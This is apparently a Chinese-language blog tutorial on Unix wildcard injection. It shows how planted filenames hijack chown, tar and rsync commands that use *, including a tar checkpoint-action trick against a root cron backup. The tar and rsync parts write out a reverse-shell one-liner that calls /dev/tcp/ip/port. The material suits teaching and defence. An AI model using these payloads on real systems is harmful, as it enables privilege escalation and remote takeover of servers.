前言
正如标题所说,此技术很早以前就有了,但是其中一些利用思路也值得我们借鉴,因为网站运维人员或管理员,经常会备份网站,以及设置一些定时任务来优化网站管理,所有这项攻击技术,我们也会经常用到。
基础知识
在shell终端中,我们经常用通配符来偷懒,来匹配我们想要的内容,无论是文件还是目录,都适用。 认识部分通配符:
代码语言:javascript复制* 匹配任意多个字符
? 代表任意单个字符
[ ] 代表“[”和“]”之间的某一个字符,比如[0-9]可以代表0-9之间的任意一个数字,[a-zA-Z]可以代表a-z和A-Z之间的任意一个字母,字母区分大小写。
– 代表一个字符。
~ 用户的根目录。
通配符劫持的第一次利用-chown命令扩展(chown劫持)
如果你对Linux/Unix系统稍微了解过,就知道,在系统下,一切皆文件,而文件也会属于某个用户,某个组,也会相应的文件操作的权限,可读可写可执行。
而chown命令则可以更改文件的这些属性,详情可以查看linux命令手册。
其中我们重点关注 --reference=RFILE 选项
我们来看看它自己给的解释
use RFILE's owner and group rather than specifying OWNER:GROUP values
这句话的意思是,使用的是RFILE文件的所有者和所属组的这个属性,而不是执行命令所带的参数OWNER:GROUP
我直接用栗子来解释一下:
如果我要更改script.sh文件的所有者和所属组为test这个用户,当然你前提有root权限,或者root权限执行此命令,我们将输入这样的命令:
代码语言:javascript复制chown -R test:test script.sh //如果你创建一个test用户,系统将默认创建一个test组,并把test自动加在test组里
但是如果我不想输入test:test,那我还要其他办法吗?有的,请看下面的栗子: 如果此目录下有个11.sh脚本,它文件所有者为test所属组为test组,那么我们可以用--reference=选项来获得我们想要的结果:
代码语言:javascript复制chown --reference=11.sh script.sh
那么如果我们输入以下命令,命令执行结果会是啥?
代码语言:javascript复制chown -R root:root --reference=11.sh script.sh
script.sh文件的所有者将会是test所属组也是test,也就是说,有--reference=FILE选项在,root:root将没有意义,--reference=FILE优先级更高。 那么接下来我们的利用就来了,网站运维人员和管理员有时会遇到很多文件和很多目录的需要更改所有者,所属组,那么聪明的运维大大,就会偷一波懒,在终端敲以下命令,并为此很满意,不错不错!不愧是我
代码语言:javascript复制chown -R 某个用户:某个组 *.*
殊不知,有个黑客早已经在此目录下埋下陷阱:
代码语言:javascript复制touch hacker.php //创建文件,该文件的所有组和所属者为黑客拿到的shell,例如var用户
touch --reference=hacker.php //创建一个文件名为--reference=hacker.php的文件,这将是劫持的关键点,--reference=hacker.php将不是一个文件名了,将会成为chown命令的一个选项
那么网站管理员一执行命令,该目录下的所有文件所有者将为var用户,所属组将为var组 本来hacker拿到的var shell,无法对某些文件进行操作,但现在可以了!感谢管理员大大,神助攻!
通配符劫持的第二次利用-tar命令的扩展(tar劫持)
tar命令是我们在linux系统中常用的一条命令,无论是解压文件还是压缩文件,都很nice! 一个运营策略比较完善的网站,一般都有备份网站的习惯(备份是一个好习惯),那么运维人员或管理员将输入如下命令:
代码语言:javascript复制tar -zcf /var/backups/html.tgz /var/www/html/*
也有可能会把此命令加入计划任务,定时定期的备份:
代码语言:javascript复制vim /etc/crontab
*/1 * * * * root tar -zcf /var/backups/html.tgz /var/www/html/* //这里设置每一分钟对网站进行一次备份
因为这里直接用了*通配符来匹配网站根目录下的所有文件,所有我们可以加以利用 我们在根目录下输入以下命令:
代码语言:javascript复制echo "bash -i >& /dev/tcp/ip/port 0>&1" > shell.sh //反弹shell的文件
echo "" > "--checkpoint-action=exec=sh shell.sh" //因为这里文件名带了空格,所以用了”“
echo "" > --checkpoint=1
这里的--checkpoint-action选项,用于指定到达检查点时将要执行的程序,这将允许我们运行一个任意的命令。因此,这里的文件名--checkpoint=1 和 --checkpoint-action=exec=sh shell.sh成为了tar命令的选项 这里计划任务运行,你将获得一个root权限的shell,一般计划任务都是root权限
通配符劫持的第三次利用-rsync命令的扩展(rsync劫持)
rsync命令是一个远程数据同步工具,可通过LAN/WAN快速同步多台主机间的文件。rsync使用所谓的“rsync算法”来使本地和远程两个主机之间的文件达到同步,这个算法只传送两个文件的不同部分,而不是每次都整份传送,因此速度相当快,功能相当于数据备份中的差异备份。 实际应用场景,大一点网站的数据备份文件都是往专用备份服务器传输的,那么我们也可以劫持rsync来执行任意命令。 我们重点关注:
代码语言:javascript复制-e, --rsh=command 指定使用rsh、ssh方式进行数据同步。--rsync-path=PATH 指定远程服务器上的rsync命令所在路径信息。
我们直接查看一个示例来学习此命令:
代码语言:javascript复制rsync -t *.* foo:/home/hacker/ //这条命令是把当前目录下的所有文件复制到远程主机foo的/home/hack目录下
我们设下陷阱加以利用
代码语言:javascript复制echo "" >"-e /bin/sh shell.sh" //创建文件名为 -e /bin/sh shell.sh
echo "bash -i >& /dev/tcp/ip/port 0>&1" > shell.sh //执行反弹命令脚本
本文所讨论的技术可以以各种形式应用于unix和linux下的命令,不仅限于文中介绍到,这需要你发挥你富有创造力的想象,在实际攻击中,往往能起到克敌制胜的关键,柳暗花明又一村的感觉。